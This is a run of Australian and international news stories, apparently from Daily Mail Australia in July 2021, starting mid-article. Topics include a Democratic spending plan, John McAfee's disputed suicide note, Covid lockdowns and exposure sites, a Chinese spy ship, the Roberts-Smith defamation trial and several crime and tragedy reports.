Meanwhile, the broader Democratic framework being compiled by independent Sen. Bernie Sanders and senators on the Senate Budget Committee he chairs is gaining momentum.

Behind closed doors Tuesday, Sanders made the case for why Democrats should go big.

According to a person who spoke on condition of anonymity to discuss the private lunch meeting, Sanders encouraged his colleagues to focus primarily on the needs of America's working people and the climate crisis, rather than a topline budget number.

Sanders met with Biden at the White House on Monday and said they are on the same page in seeking a 'transformative' investment for the nation.

Once rivals for the White House, Sanders and Biden are now joining forces to shape the presidents top priority.

'My job is to do everything I can to see that the Senate comes forward with the strongest possible legislation to protect the needs of the working families of this country,' Sanders said.

'The end of the day, we're going to accomplish something very significant,' he said.

The emerging package would include funds to build child care centers and help families pay for that care, and expanded health care options for older Americans including eye, dental and vision benefits.

Public works would be bolstered to remove lead in drinking water pipes, enhance electric vehicle markets and fight climate change.

Under budget rules, Democrats could pass the proposal on their own in the evenly split Senate, without the 60 votes typically required.
The widow of deceased antivirus pioneer John McAfee, has released the alleged suicide note of her late husband in a post on Twitter Tuesday.

'Here is the alleged suicide note found in John's pocket,' Janice tweeted. 'This note does not sound anything like someone who has no hope and is contemplating ending their life. This note sounds like one of John's tweets. #NotASuicideNote #JusticeForJohnMcAfee.'

Janice, who married the software entrepreneur in 2013, said she did not believe John was behind the note and that the handwriting was not a match.

'The handwriting is suspect & I doubt the authenticity of the note,' she tweeted.

'It reads more like someone trying to imitate Johns style of tweeting. And if this note was found in his pocket where are the markings of the note being folded into his pocket? #NotASuicideNote #JustForJohnMcAfee.'

Prison wardens found the body of the tech mogul hanging in his cell in June, in what appeared to be a suicide, his lawyer Javier Villalba said.

The widow of deceased antivirus pioneer John McAfee, has released the alleged suicide note of her late husband in a post on Twitter Tuesday. In this photo, Janice McAfee (right) is pictured with her late husband, John (left)

Numerous parts of letter appear to scribbled out, and have not been officially transcribed in their entirety

After releasing the letter, Janice accused Spanish officials of a 'cover-up' after she failed to receive 'the death certificate, the official autopsy report, or the official report from the prison.'

 Slide me  McAfee's handwriting in 2018, left, compared with his handwriting in his 'suicide note', right

The suicide note was found in the pocket of McAfee who was found dead in a Spanish prison cell in June.

Numerous parts of letter appear to scribbled out, and have not been officially transcribed in their entirety.

'I am a phantom parasite,' the letter begins, with another section reading, 'I want to control my future, which does not exist.'

The letter revelation was made by an official source familiar with the investigation who told the Associated Press that the note had been found on McAfee at the time of his death.

The source, who was not authorized to speak about the ongoing judicial inquiry, refused to comment on the contents of the note.

An official autopsy has confirmed McAfee died by suicide in a Spanish prison cell where he was awaiting extradition to the U.S.

Janice says the 'suicide note' handwriting doesn't appear to match John's previous handwriting - picture in a note he tweeted in 2018

Although Spanish officials stated John's death was self-inflicted, Janice (pictured) has continuously argued her husband was not suicidal

An official autopsy has confirmed McAfee (pictured) died by suicide in a Spanish prison cell where he was awaiting extradition to the U.S.

McAfee's 'suicide note' transcribed in entirety Editors note: The majority of McAfee's 'suicide note' was crossed out. The wording below is what was transcribable. 'I am a phantom parasite. The present moments (indecipherable) I use it to attain my own needs. Instead of fully living it (indecipherable)... 'I want to control my future, which does not exist. By using the present and the past as the controller (indecipherable) through knowledge (indecipherable), of my past (indecipherable) which are mere ashes of memory.' Advertisement

Although Spanish officials stated John's death was self-inflicted, Janice has continuously argued her husband was not suicidal.

'His last words to me were 'I love you and I will call you in the evening,' the 38-year-old told reporters outside the Brians 2 penitentiary northwest of Barcelona last month, where she recovered her late husband's belongings.

She said they spoke earlier on the day he was found dead and made no indication that he wanted to take his own life.

'Those words are not words of somebody who is suicidal,' she added.

After releasing the letter, Janice accused Spanish officials of a 'cover-up' after she failed to receive 'the death certificate, the official autopsy report, or the official report from the prison.'

'I understand that things take time but the lack of cooperation from the Spanish authorities only confirms our suspicions that they have something to hide,' she tweeted.

Janice also confirmed she was able to see John's body, but complained that she could only see his 'head through a window at the facility where they are keeping him,' in a follow-up tweet on Saturday.

'His entire body from the neck down was covered with a sheet & blanket,' she tweeted.
More than 10 million Australians will begin receiving an extra $1,080 in their bank accounts from today if they have filed their tax returns.

The tax offset will be refunded to taxpayers who earned between $48,000 and $126,000 during the 2020-21 financial year.

Singles will see an extra $1,080 after lodging their returns, and couples will get an additional $2,160.

The payments take 10 business days to process so Australians who filed on July 1 will receive their refunds with the additional payment today.

Australians who earn between $48,000 and $126,000 during the 2021-22 financial year will see the tax breaks (stock image)

Treasurer Josh Frydenberg said the extra payment was designed to inject much-needed cash into the economy, which continues to take major hits from government lockdowns over Covid-19.

'This is more money to spend in local businesses, giving them the confidence to take on an extra worker, offer an extra shift or buy a new piece of equipment,' he said.

'It will flow through the economy just as our tax relief has done during the crisis to fuel record growth in household spending.'

Another 1.8 million people earning $37,000 to $48,000 will get back $255.

Not only will the lump sum be in place for this year's tax return, it will also remain for the 2021-22 financial year - before even more tax breaks take effect in 2024.

Treasurer Josh Frydenberg (pictured) said the government handout is a way to inject much-needed cash into the economy

H&R Block tax communications director Mark Chapman said the government should not get credit for merely delaying a tax rise, which is all the payment represents.

'Let's call this what it is and ignore the government spin  this isn't a tax cut, its simply the deferral of a tax rise,' Mr Chapman said.

'Nobody should be counting the extra dollars in next year's pay packets because there aren't any.

'The tax burden for low and middle income individuals next year is exactly the same as it was this year.'
A Covid-infected family who breached their red-zone permits after returning home to Victoria from Sydney have avoided a fine because they were honest with contact tracers about their movements.

Victorian health authorities said three members of a City of Hume family-of-four from Melbourne's north arrived from coronavirus-hit Sydney on July 4 by air, while the other returned by car on July 8.

Two parents and a child tested positive to Covid-19 on Monday and authorities said they expect the fourth family member to have also contracted the virus.

As they arrived on a red-zone permit, the family were told they had to self-isolate for 14 days upon entry.

One family member, however, visited a Coles supermarket in Craigieburn and a Metro petrol station in Broadmeadows. The latter is now a tier-one exposure site.

Pictured: A Victoria Police on patrol on the Victoria/NSW border on June 25. Three members of a City of Hume family-of-four from Melbourne's north who breached red-zone permit restrictions arrived from coronavirus-hit Sydney on July 4 by air. The other returned by car on July 8

But the state's Covid-19 commander Jeroen Weimar said the family had been forthcoming with contact tracers and wouldn't face punishment.

'They've been fulsome in their information with our contact tracers we're not going to pursue any further enforcement,' he said.

'People need to do the right thing. [Going to Coles when you should be in self-isolaation] is not an accepted thing to do.

'But throwing a book at people or starting with a presumption that we're going to penalise people isn't going to work.'

Dozens of South Australians meanwhile have been forced to isolate after potentially coming into contact with coronavirus-infected removalists who visited a regional service station and nearby cafe.

SA Health has confirmed the NSW trio, two of whom have tested positive, visited the Shell service station in Tailem Bend, 97km southeast of Adelaide.

One family member visited a Coles supermarket in Craigieburn when they should have been self-isolating

A second potential exposure site was also revealed late on Tuesday: the Coolabah Tree Cafe, adjacent to the service station.

Anyone who attended either site last Friday between 5.20pm and 7pm must isolate for 14 days and get tested, along with their close contacts.

'A potential third exposure site is currently being investigated,' SA Health said in a statement.

The family member also visited the Metro petrol station in Broadmeadows, which is now a tier-one exposure site

USE DAILY MAIL AUSTRALIA'S TRACKER TO FIND EXPOSURE SITES NEAR YOU

'Both Shell staff members and their household contacts have returned negative test results. They all will remain in quarantine for 14 days and complete further testing requirements.

'Tailem Bend mobile COVID-19 testing clinic will be open until 7.30pm tonight.'

One of the employees had earlier been described as being symptomatic.

The three removalists had travelled from Sydney through Victoria to McLaren Vale, where they unloaded furniture for a relocating family.
A Chinese navy surveillance ship is being closely tracked by the Australian military as it makes its way towards Queensland waters.

The Tianwangxing, which translates as 'Uranus', is scheduled to arrive in local waters on Friday to monitor large-scale Australia-US military exercises beginning this week, defence sources told the ABC.

Defence Minister Peter Dutton confirmed the Australian Defence Force (ADF) has been closely monitoring the Chinese military ship ahead of the Talisman Sabre 2021 war games between Australia and the United States which begin on Wednesday.

The Tianwangxing vessel, is scheduled to arrive on Friday ahead of large-scale military exercises beginning this week

'We are aware that the People's Liberation Army (Navy) general intelligence ship Tianwangxing is approaching Australia's east coast via the Torres Strait,' Mr Dutton said.

'We have been monitoring its approach to Australia for several days as part of Australia's broader surveillance effort.'

This is not the first time the Chinese ship has been spotted in Australian waters.

In 2019 the same 815 vessel was tracked by the ADF while en route to monitor the biennial Talisman Sabre War games.

The Tianwangxing is equipped with an advanced communications system, including several domes that conceal dish antennas which collect and intercept radio signals.

A military official told the ABC, under the condition of anonymity, that the ship was intentionally keeping a low profile.

In 2019 the same type 815 vessel was monitored by the ADF for the biennial Talisman Sabre games

'The ship is in full EMCON (emissions control) at the moment, only broadcasting signals it absolutely has to,' the official told the news outlet.

'[It is only] responding to calls and hails by insisting that it is operating in accordance with international maritime law'.

Over the next fortnight, the Chinese vessel is expected to remain within Australia's Exclusive Economic Zone in the Coral Sea while it monitors the war games.

The Australian Department of Defence describes the Talisman Sabre as the largest bilateral combined training activity between the ADF and US military, however the number of international participants have been scaled back due to Covid-19.

Military personnel from Japan, Canada, South Korea, New Zealand and the United Kingdom are also included in this year's games.
A highly regarded stunt woman and her young daughter have been killed after a horror fire tore through their farm house.

Deirdre Naughton, 42, and her 10-year-old daughter Leela were caught in the blaze late on Sunday night at their home near Tallarook, around 90km north of Melbourne.

A team of about 40 firefighters spent two hours trying to extinguish the inferno but the pair were tragically unable to be saved.

It's believed the fire erupted from an electrical fault inside the home.

Tributes have since poured in for the stunt woman who had worked in the production industry for more than 20 years featuring in films like Rogue, Knowing, I, Frankenstein and Australian television series The Saddle Club and Neighbours.

Deirdre Naughton, 42, (pictured) and her 10-year-old daughter Leela were caught in the blaze late on Sunday night at their home near Tallarook, around 90km north of Melbourne

It's understood Ms Naughton's partner Clint Dodd, who is also involved in the film industry, was interstate at the time of the tragedy and has since returned home.

The 42-year-old's mother who was staying near the property saw the house go up in flames and immediately phoned emergency services.

Neighbours reported hearing explosions from inside the house with detectives investigating whether fireworks used on film sets had been inside.

But family members say the explosions were likely from gas bottles, Seven News reported.

Ms Naughton's daughter had attended the local Tallarook Primary School.

Tributes have since poured in for the stunt woman who had worked in the production industry for more than 20 years featuring in films like Rogue, Knowing, I, Frankenstein and Australian television series like The Saddle Club and Neighbours

Members from the country town and firefighters involved in tackling the blaze gathered together at the local hall on Tuesday night to remember the mother and daughter.

Ms Naughton's former agent, Vicki Marks from Action Stunts Australia, described the mother as a 'shining star' who was loved by everyone.

'She could make you laugh even if you didnt want to,' she said in a statement to Daily Mail Australia.

'Dee was a champion for the female stunt performers and was passionate about the women in the stunt industry having a voice.

'In later years when she had Leela her family became her world. She was a devoted mother and partner.'

Ms Marks said as a stunt woman there was always the risk of injury but she was unable to fathom such a tragedy as what happened to Ms Naughton and Leila.

'What we do is dangerous and there is always that element of risk even though we take every precaution to make it safe and risk free,' she said.

'But this tragedy is not something that you expect or are prepared for. We are all shocked and heartbroken.

'She will be sadly missed but never forgotten.'

A GoFundMe page has since been set up to help Mr Dodd and the family recover.
The family of an Indigenous man who died in a Sydney jail is demanding answers and a coronial inquest.

Frank 'Gud' Coleman, a 43-year-old Ngemba man, died on Thursday at Long Bay jail.

Coleman, who was born in Brewarrina in northwest NSW and raised in Mount Druitt in western Sydney, is the ninth Indigenous person to die in an Australian prison since March.

Frank 'Gud' Coleman, a 43-year-old Ngemba man, died on Thursday at Long Bay jail sparking a call for a coronial inquest from his devastated family

Mr Coleman (pictured) was found unresponsive in his Long Bay jail cell. He is the ninth Indigenous man to die in custody since March

At least 478 Indigenous people have died in custody since the 1991 Royal Commission into Aboriginal Deaths in Custody.

Coleman's family and the Aboriginal Legal Service NSW/ACT are demanding answers after learning he was found unresponsive in his cell.

His former partner Skye Hipwell, who is the mother of three of his children, said he was healthy and his death had come as a 'complete shock'.

The family's grief is compounded by the fact they hadn't seen him in person for more than a year due to Covid-19 restrictions in NSW jails.

'He died alone in a jail cell and no one knows anything about his last minutes,' Ms Hipwell said.

She described him as an outgoing, friendly man who loved his children and was 'extremely staunch and proud in his Aboriginality, his culture and community'.

Coleman's family say they want the autopsy and coronial inquest as soon as possible.

Mr Coleman family's grief is worsened by the fact they had not seen him in over a year due to COVID-19 restrictions in NSW jails

Karly Warner, chief executive of the Aboriginal Legal Service NSW/ACT, said it was devastating to have this conversation with 'yet another' Aboriginal family whose loved one died alone behind bars.

'Life-saving recommendations (from the 1991 commission) remain on the shelf while people like Frank suffer lonely and preventable deaths,' Ms Warner said.

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Ben Roberts-Smith's defamation 'trial of the century' may be forced to move from Sydney to Adelaide or Perth if Covid-19 lockdowns and border restrictions continue.

Barrister Bruce McClintock SC, for Mr Roberts-Smith, raised that possibility during a brief hearing before the Federal Court on Wednesday.

Australia's most decorated soldier is suing Nine Newspapers over allegations he committed war crimes including murder while serving with the Special Air Service in Afghanistan.

The trial was suspended on June 29 after a month of hearing because of Sydney's COVID-19 lockdown and the inability of interstate witnesses to give evidence.

Nine was due to call four Afghan witnesses to give evidence on July 26 over audio/visual link from Kabul through an interpreter based in Ontario, Canada.

Mr Roberts-Smith, 42, is suing three newspapers at the Federal Court trial in Sydney over media reports alleging he was involved in war crimes, murders and bullying in Afghanistan

The trial has previously been told Nine will call evidence from 21 current and former SAS members as well as several Afghan villagers. Other notable witnesses set to testify include Mr Roberts-Smith's ex-wife Emma Roberts. The former couple is pictured together

Mr McClintock said he expected 20 people would need to be physically present in the Sydney court room to hear the Afghans' evidence.

'These people are accusing my client - or at least one of them is - of a murder,' Mr McClintock said.

Mr McClintock told Justice Anthony Besanko that crowding 20 people into a Sydney court room would be impossible under social distancing rules.

'That carries real risk, Your Honour,' Mr McClintock said. If one person in the hearing was exposed to the virus everyone else would have to self-isolate.

Nine has prepared an affidavit outlining the deteriorating circumstances in Afghanistan as coalition forces led by the United States withdraw from the country.

Mr McClintock said it seemed unlikely Taliban insurgents would soon launch an assault on the nation's capital and that for now, 'Kabul seems relatively safe'.

Many of Nine's - and some of Mr Roberts-Smith's - witnesses will be coming from Perth, where the Special Air Service is based.

Mr McClintock said Western Australia had 'traditionally' been slow to open its borders to other states that had been in lockdown.

He said depending on what happened in Sydney in coming weeks it might be necessary to consider shifting the trial to Adelaide or Perth.

Mr Roberts-Smith is pictured receiving his Victoria Cross for gallantry from then Governor-General Dame Quentin Bryce in 2011. He also holds the Medal for Gallantry

Justice Besanko adjourned the matter until Monday when he will hear further submissions about when the hearing can resume.

Mr Roberts-Smith is suing three newspapers over media reports alleging he was involved in war crimes and bullying in Afghanistan.

The 42-year-old is also suing the outlets over a claim he assaulted his mistress, a woman known as Person 17, in a Canberra hotel room.

The newspapers claim Mr Roberts-Smith was complicit in and responsible for the murders of six unarmed Afghans.

Nine alleges Mr Roberts-Smith killed insurgents who had been captured and none of the killings was the result of decisions made in the heat of battle.

The landmark trial was in its fourth week when it was paused shortly after Mr Roberts-Smith stepped out of the witness box.

Before Nine could open its defence case barrister Nicholas Owens SC flagged that crucial SAS witnesses were unavailable due to border rules in Western Australia, Queensland and Victoria.

The trial has previously been told Nine will call evidence from 21 current and former SAS members as well as four Afghan villagers.

The former SAS corporal's legal team argues their client is a victim of a lying campaign by journalists and failed soldiers jealous of his stellar military career and Victoria Cross

Mr Roberts-Smith is suing newspapers including the Sydney Morning Herald which ran this front page investigation into allegations of war crimes committed in Afghanistan on the weekend of June 9 and 10, 2018

Before the case was adjourned former Liberal politician and Australian War Memorial director Brendan Nelson gave evidence as a reputational witness for Mr Roberts-Smith, saying the soldier had been held in high regard.

'He was the subject and object of what I would regard as reverential mobs,' Dr Nelson said. The media reports had a devastating impact, he added.

Notable witnesses set to testify for Nine include federal Liberal MP Andrew Hastie, a former SAS captain, and Mr Roberts-Smith's ex-wife Emma Roberts.

The trial was expected to run for 10 weeks before the COVID-19 disruption complicated matters.

Mr Roberts-Smith denies all the claims against him while the news outlets defend them on the basis of truth.

The former SAS corporal's legal team argues their client is a victim of a lying campaign by journalists and failed soldiers jealous of his stellar military career and Victoria Cross.
A black woman trying to redeem a coupon for free panties at a Victoria's Secret in New Jersey filmed the moment a 'Karen' allegedly attacked her and had a breakdown, screaming and rolling on the floor.

Ijeoma Ukenta was visiting the Short Hills Mall in Millburn on Saturday when the white woman allegedly nudged her and the encounter escalated before she started recording, Daily Beast reported.

In the video, the white woman slaps Ukenta while they stand near the registers before throwing the shirt she was holding onto the counter and burying her face into her hands as the wild encounter continues.

In another video, Ukenta shows a police report from the incident identifying the white woman as Abigail Elphick.

The video begins with the white woman appearing to slap the woman recording. The white woman has been identified by Abigail Elphick

After seemingly attacking the woman recording, Ijeoma Ukenta, the white woman then starts crying

The white woman then drops into a squatting position while accusing Ukenta of threatening her

The white woman begs not to be recorded as she breaks down on camera

Abigail Elphick is pictured during her monumental breakdown

'Oh my God!' Ukenta says in the video, while Elphick squats to the ground.

'Do you see this? Oh my God, girl I've never thought something like this would happen to me. She's just tried to run and hit me,' Ukenta continues.

Elphick cries out: 'No, I didn't! I don't want to be recorded.'

'You saw that, right? They all saw her, oh my God,' Ukenta continues.

'I didn't try to hit you. I don't want to be recorded. Stop, stop!' Elphick says. 'I didn't try to hit you!'

Ukenta then says: 'This don't feel real.'

'Y'all got to get security. She tried to charge me!' she adds.

Elphick then starts wailing as she leans back against a display.

'Oh you just want security for me, right? I want security for you,' Ukenta says. 'No, don't cry!'

A store worker then appears to approach the two women, as Elphick cries: 'She's threatening me! She's threatening me!'

'No! Don't record my mental breakdown please!' the Elphick says.

'You're scaring me, like you're going to go postal,' Ukenta tells the woman.

Elphick then stands up and responds: 'Don't record me! Stop!'

Another white customer then addresses Ukenta and says: 'Why don't you walk away from her?'

'No, no, no. We're not doing this. Why don't I walk away from her. Why don't she get away from me? She can get away. Go wherever you want to go,' Ukenta responds.

The white woman was pictured collapsing to the ground face first while using her purse as a pillow

Elphick then collapses to the floor face first, using her purse as a pillow - while store workers continue to check out other customers in the background.

The video ends with a store worker helping Ukenta with her purchases, as she tells the white woman: 'Bye, Karen.'

In a second video, the chaotic incident appeared to resume with Elphick lying on the ground and pointing her finger at Ukenta while convulsing on the ground and screaming: 'She's recording me!'

'You keep lying and saying I'm threatening you, so I'm recording to protect myself,' Ukenta retorts.

'Get her phone away! Get her phone away! Please! Get her phone AWAY!' Elphick screams as she gets up to her knees.

Elphick then gets to her feet and chases Ukenta as she backs away and continues to record.

Ukenta repeatedly tells the store workers to call security as she runs from Elphick.

Someone off camera asks Ukenta to stop recording, and Ukenta tells her that she's doing it to protect herself.

'She's trying to attack me! No, no, no,' Ukenta responds.

Elphick interjects: 'Stop threatening me!'

'See, she's saying I'm threatening her! I'm not saying nothing to her. This is protect me. Once the law get here, who are they going to believe: her white a** or my black a**,' Ukenta says.

'Where is security in this Short Hills, y'all!' Ukenta tells the workers. 'I gotta stop coming here. I thought this was the safe mall.'

Store workers then appeared to turn up the volume of the music in the store to drown out the sounds of the Elphick's screams.

Another woman then appears to try to calm Elphick down, as the screaming white woman speaks with someone on the phone - seemingly police - while continuing to claim that Ukenta was 'threatening' her.

That woman tells Ukenta to put the camera down because the woman is 'sick.'

'She's lying on the phone, don't tell me what to do. She said I threatened her. I don't give a f**k about her being sick. I'm worried about me,' Ukenta says.

Elphick says on the phone: 'Come here as soon as possible, please, please, please.'

'This is how black people be dying. You see this? You see what these people do? They're causing a panic and telling the police [unintelligible] when you clearly saw her chasing me around the store,' Ukenta says.

Elphick then appears to charge at Ukenta again.

Later in the video, Ukenta then exclaims again: 'Where is the mall security!'

According to Daily Beast, Elphick allegedly told cops she had a breakdown because she was afraid she would lose her apartment and job as a teacher's aide if the video went viral - which it since has.

In a third video posted in the eight-video series, mall security finally appears to show up where Ukenta details the situation to the 'oblivious' mall security worker.

Cops finally appeared in the fourth video, telling Ukenta that they 'cant kick her out,' referring to Elphick despite her having attacked Ukenta on camera.

'I don't understand why she can't be escorted out the mall, she tried to attack me twice!' the exasperated Ukenta tells the cops.

Cops continue speaking with a crying Elphick, while telling Ukenta to move away and refusing to escort the white woman out of the mall.

It was not immediately clear what legal challenges Elphick could face, if any, for attacking Ukenta on camera.
Sydney's top doctor has appeared in a bizarre public health TV ad urging residents to obey the city's lockdown restrictions.

NSW Chief Health Officer Kerry Chant stared impassively at the screen and slowly and deliberately read out the main points of the lockdown in a deadpan tone.

'Please stay home, and only leave the house for the most essential of reasons,' she said in a monotone while staring blankly into the camera.

'Do not have visitors to your home, including family members.'

'Please stay home, and only leave the house for the most essential of reasons', the health officer says in a monotone while staring blankly into the camera

The public health orders are well-known and have been in place for more than two weeks since June 26, prompting criticism that the ad will be ineffective.

However, top marketing guru Siimon Reynolds, who was behind the 'Grim Reaper' AIDS campaign in the 1980s, told Daily Mail Australia he thought the advert was strong as it offered a no-nonsense approach.

'This is clearly an ad that's been urgently created because of the continuing rapid rise in Covid cases. The government didn't plan this at all, they were forced to do it, and do it quickly,' Mr Reynolds explained.

He explained that the commercial was a 'pure announcement ad' that used plain speech to get the message out to the public as quick as possible.

'It has the tone of something super serious, which is what I've been advocating the Covid messaging be for months,' he said.

'It would be great if the government created something more creative and compelling, but at least it's very direct.'

Dr Chant's ad was in stark contrast to a distressing video depicting a very sick young woman fighting for her life with Covid on a ventilator.

The 30-second ad shows the woman laying in a hospital bed, wheezing heavily and clawing at the ventilator fastened under her nose because she can't breath properly.

A message then pops up that says: 'Covid-19 can affect anyone. Stay-at-home, get tested and booked in for a vaccination.'

Federal Chief Medical Officer Paul Kelly pre-warned Sydneysiders that the ad was 'quite graphic' to scare Sydneysiders into following government directives.

It comes just days after the federal government released a highly distressing video depicting a very sick young woman fighting for her life on a ventilator

Lieutenant John Frewen, the Commander of the Vaccine Taskforce, said the confronting ad was 'absolutely' warranted for viewers in Covid-hit Sydney.

'We didn't use it lightly,' Mr Frewen said on the Today show earlier this week.

Top marketing guru Siimon Reynolds, who was behind the 'Grim Reaper' AIDS campaign in the 1980s, said he felt optimistic the ad would have impact.

'It shows that Covid can really be painful which a lot of Australians don't really believe and it shows that young people can get it, not just older people,' he said.

He said he thought the ad was '10 times better' than a campaign that asked Australians to 'arm themselves' with the vaccine, featuring people of different ages and professions lifting their sleeve to prove they've had the jab.

Siimon Reynolds (pictured with TV host Kathryn Eisman in 2017) created the famous 1987 advert warning Australians about the grave dangers of HIV and AIDS

The nationwide campaign urging Australians to get the Covid-19 vaccine has been slammed by a marketing guru who said the $21million spend was a 'colossal waste of money'

Mr Reynolds was not impressed with the 'weak' messaging and dubbed the $21 million spent a 'colossal waste of money and a terrible missed opportunity'.

'You can't simply just have someone's arm with a band aid as a way of changing millions of people's points of view,' he told ABC news.

'Arm yourself against the vaccine' is super weak and it says nothing more than get the vaccine.'

However, Lisa Wilkinson and fellow The Project hosts slammed the video of the ventilated woman for putting young people in a difficult position.

The hosts argued that because the woman in the commercial was under the age of 40, she would not yet be eligible to receive the vaccine - the only sure way of avoiding serious illness from the virus.

Chief Medical Officer Paul Kelly said the ad is meant to be 'quite graphic' to scare Sydneysiders into following government directives to stay home until the outbreak is contained

'The person in that ad looks under 40. So what they are saying is you are a young person and you could have some severe consequences from getting Covid, but you are not eligible for any of the vaccines,' panelist Jan Fran said in relation to the campaign

'The ad is acting like it's on the population, like it's our fault that the vaccination rates are so low but actually it's a supply problem,' comedian Nazeem Hussain said.

'The government needs to take responsibility. We should make an ad for the government to go and get some more vaccines.'

Fellow panelist Jan Fran said she has no idea what the government is trying to convey.

'The person in that ad looks under 40. So what they are saying is you are a young person and you could have some severe consequences from getting Covid, but you are not eligible for any of the vaccines,' the comedian said.

'So it's like what do you want me to do?'

The federal government has defended the public health campaign in a statement to Daily Mail Australia.

'The clip encourages people in NSW to book their vaccination, but also to highlight the need to stay home and get tested,' the federal government said in response to the Covid advert

Gladys Berejiklian has said the city's strict lockdown would be extended until 11:59pm on July 30, to stem the spread of the highly-contagious Delta variant of the virus

'The clip encourages people in NSW to book their vaccination, but also to highlight the need to stay home and get tested,' it said.

'The Delta variant is much more infectious and is impacting younger cohorts more than previous variants.'

Dr Chant continued to reiterate that young people should not think Covid only posed a risk to the elderly, and the government's disturbing new advertisements tried to emphasise that.

Dr Chant said the number of young Australians being admitted to hospital proved the illness poses a risk to all age groups.

'That (number) is dispelling the notion that you are not going to get sick from Covid if you're young,' she said.

'You don't need to have an underlying health condition to be in hospital with Covid.

Dr Chant said the number of young Australians being admitted to hospital proved the illness poses a risk to all age groups, with 25 people under the age of 55 in hospital with Covid-19

'Covid is a serious disease and is associated with hospitalisation and death.'

The state recorded 97 Covid-19 cases on Wednesday as Sydney's lockdown was extended by another two weeks to stem the spread of the highly-contagious Delta variant of the virus.

Premier Gladys Berejiklian said 24 of those infections were out in the community while for the entire time they were contagious, but that there were 36 mystery cases still under investigation.

There are 71 Covid-19 patients in hospitals across the state, of which 20 are in the intensive care unit and four are on ventilation.

She said the city's strict lockdown - which includes Sydney, the Blue Mountains, the Central Coast and Wollongong - would be extended until 11.59pm July 30.
A television presenter has shared the difficulties she encountered trying to get the AstraZeneca coronavirus jab, describing it as one of the worst experiences of her life.

The Project panelist Jan Fran said she made phone calls to two GPs about getting the vaccine but one did not stock it, and the other was on maternity leave, and she did not receive it during a subsequent appointment.

That prompted her to lash out at the federal and state governments and health officials for conflicting messages over vaccine availability, saying it had left her 'rattled, confused and .... f**king angry'.

She said she contacted doctors' surgeries after Prime Minister Scott Morrison gave the green light for under-40s to get the Astra Zeneca from their GPs if they wish to do so, despite earlier government advice that it should be only be taken by over-60s.

Jan Fran (pictured) tried to book to get the AstraZeneca jab but was unsuccessful

'So old mate Morrison says late June 28 that under-40s can seek out the AstraZeneca jab via their GP. The following morning I call my GP,' Fran posted on Twitter.

'Receptionist tells me they don't administer the AZ vaccine at their clinic. I call the GP I was seeing prior to her  they do administer AZ but my particular GP is on maternity leave.'

She also did not receive Astra Zeneca at a subsequent appointment, instead choosing to wait until under-40s get access to the Pfizer vaccine.

'The experience was one of the worst I've had! The GP seemed miffed that I was even there asking for the jab. You're under 40 - why don't you want to get Pfizer, they kept asking, making me feel stupid AF for wanting to get vaxxed pronto,' Fran wrote.

'I guess I'm gonna get the Pfizer partly so I don't have to think about this anymore and partly because GP-shopping for a jab that medical experts are half-a**** on doesn't fill me with the greatest of confidence.'

Fran, a former SBS journalist and writer of an upcoming memoir 'Of Middle Eastern Appearance', said governments needed more consistent messaging on the safety of vaccines and who should get them.

'Medical experts are publicly squabbling with each other over Morrison's off-the-cuff comment. Chief health officers are dishing out different advice to people under 40,' Fran said.

'Jeannette Young is talking about an 18-year-old dying from clotting in the state of Queensland. Premier Annastacia Palaszczuk is suggesting that, 'even the UK Government won't allow their under-40s to get the AstraZeneca vaccine'  not true but okay.'

Jan Fran says she will get the Pfizer vaccine after the hurdles she tried to jump through to get AstraZeneca. Pictured is a Sydneysider getting the Pfizer jab

'At this point I am rattled, confused and, dare I say, f**king angry.

'Sort this sh*t out, mates. Squabble in private, be clear and consistent in your messaging.'

Fran also took a swipe at the NSW government over its recently launched television advertisements encouraging vaccination as Sydney grapples with an outbreak of the Delta strain of Covid.

Jan Fran issued a scathing attack on Twitter about Australia's bungled vaccination roll out

'My state is recording more than 100 cases a day and I have to watch an ad that shows someone clearly under 40 in hospital struggling to breathe as a result of Covid 19 - a virus I can't get vaccinated for as much as I try,' she wrote.

'At the end of the ad it says 'book your vaccination' - haha what? You having a laugh?

'I have mates who are booked in for a jab in Sept! The virus is spreading NOW and you're the one telling me I can end up in hospital as a result. Timing matters.'

Mr Morrison has hit back at widespread criticism of the slowness of Australia's vaccination program relative to other advanced countries.

He said Australia was ahead of some countries like New Zealand where 26,567 people per 100,000 have had at least one shot of the vaccine compared to 36,304 per 100,000 Australians.

'On two doses, it is running about the same,' he told the Today show on Wednesday.

'They only have Pfizer. We have Pfizer as well as AstraZeneca. That's what will see our vaccination rates increase.

'I don't dismiss the fact that we've had challenges.'

'The changes in the medical advice on AstraZeneca dealt the program a heavy blow but, equally, we I think are the safest, pharmaceutical regulators in the world and that caution has also saved a lot of lives, particularly when we're looking at last year.'
New South Wales Police have arrested a man as part of their investigation into the execution of underworld figure Mejid Hamzy, brother of jailed Brothers 4 Life gang leader Bassam Hamzy.

A social media post by police on Wednesday morning showed a detective and masked police from the specialist squad Strike Force Raptor arresting a shirtless man sitting on the lawn outside a brown brick home.

Police said they had arrested a 38-year-old man who was expected to be charged with murder.

NSW Police released this picture of an unidentified, shirtless man arrested as part of its investigation into the murder of Mejid Hamzy

Mejid Hamzy, 44, is the brother of jailed Brothers 4 Life gang leader Bassam Hamzy

Mejid Hamzy died from multiple gunshot wounds after being ambushed by gunmen in the driveway of his Condell Park home on October 19, 2020

Another 44-year-old man was expected to be charged in relation to the concealment of a vehicle allegedly used in the incident.

Mejid Hamzy, 44, was ambushed by gunmen in his driveway about 7.30am on October 19 last year and died at the scene from multiple gunshot wounds.

In March, police released CCTV footage of cars they believe were used in the crime - a grey Toyota Rav 4 and a matte black Mercedes Benz.

They later released vision of a third vehicle of interest - a white BMW 328i - in a mission to elicit further information from the public about the crime.

Police said the three cars in the CCTV footage had travelled in convoy from Moorebank to Condell Park.

The Toyota was found burnt out at Yagoona a short time later. The Mercedes and the BMW returned to Moorebank before travelling to Luddenham.

Hamzy's death is believe to be linked to a gang war between the underworld Alameddine and Hamzy families.

A friend of the Alameddine family was assaulted just days before Mejid Hamzy's murder.

On the night of June 17, Hamzy's cousin - Bilal Hamze - was ambushed and executed by gunmen after leaving a restaurant in Bridge Street, in the heart of Sydney's CBD, in what police feared was an escalation of violence between the feuding families.
An adorable baby koala has been captured on camera climbing up a drain pipe as it tried to find its mother.

The joey was seen clinging onto the pole near some rubbish bins in Griffin, north of Brisbane, on July 13.

Resident Brenden Smith captured the picture before calling animal rescuers to collect him.

Mr Smith told ABC Brisbane he heard a knock before finding the 'pretty chill' marsupial outside his home.

Brenden Smith opened his front door to a koala (pictured), after it knocked on the door of his Griffin, Brisbane home on July 13

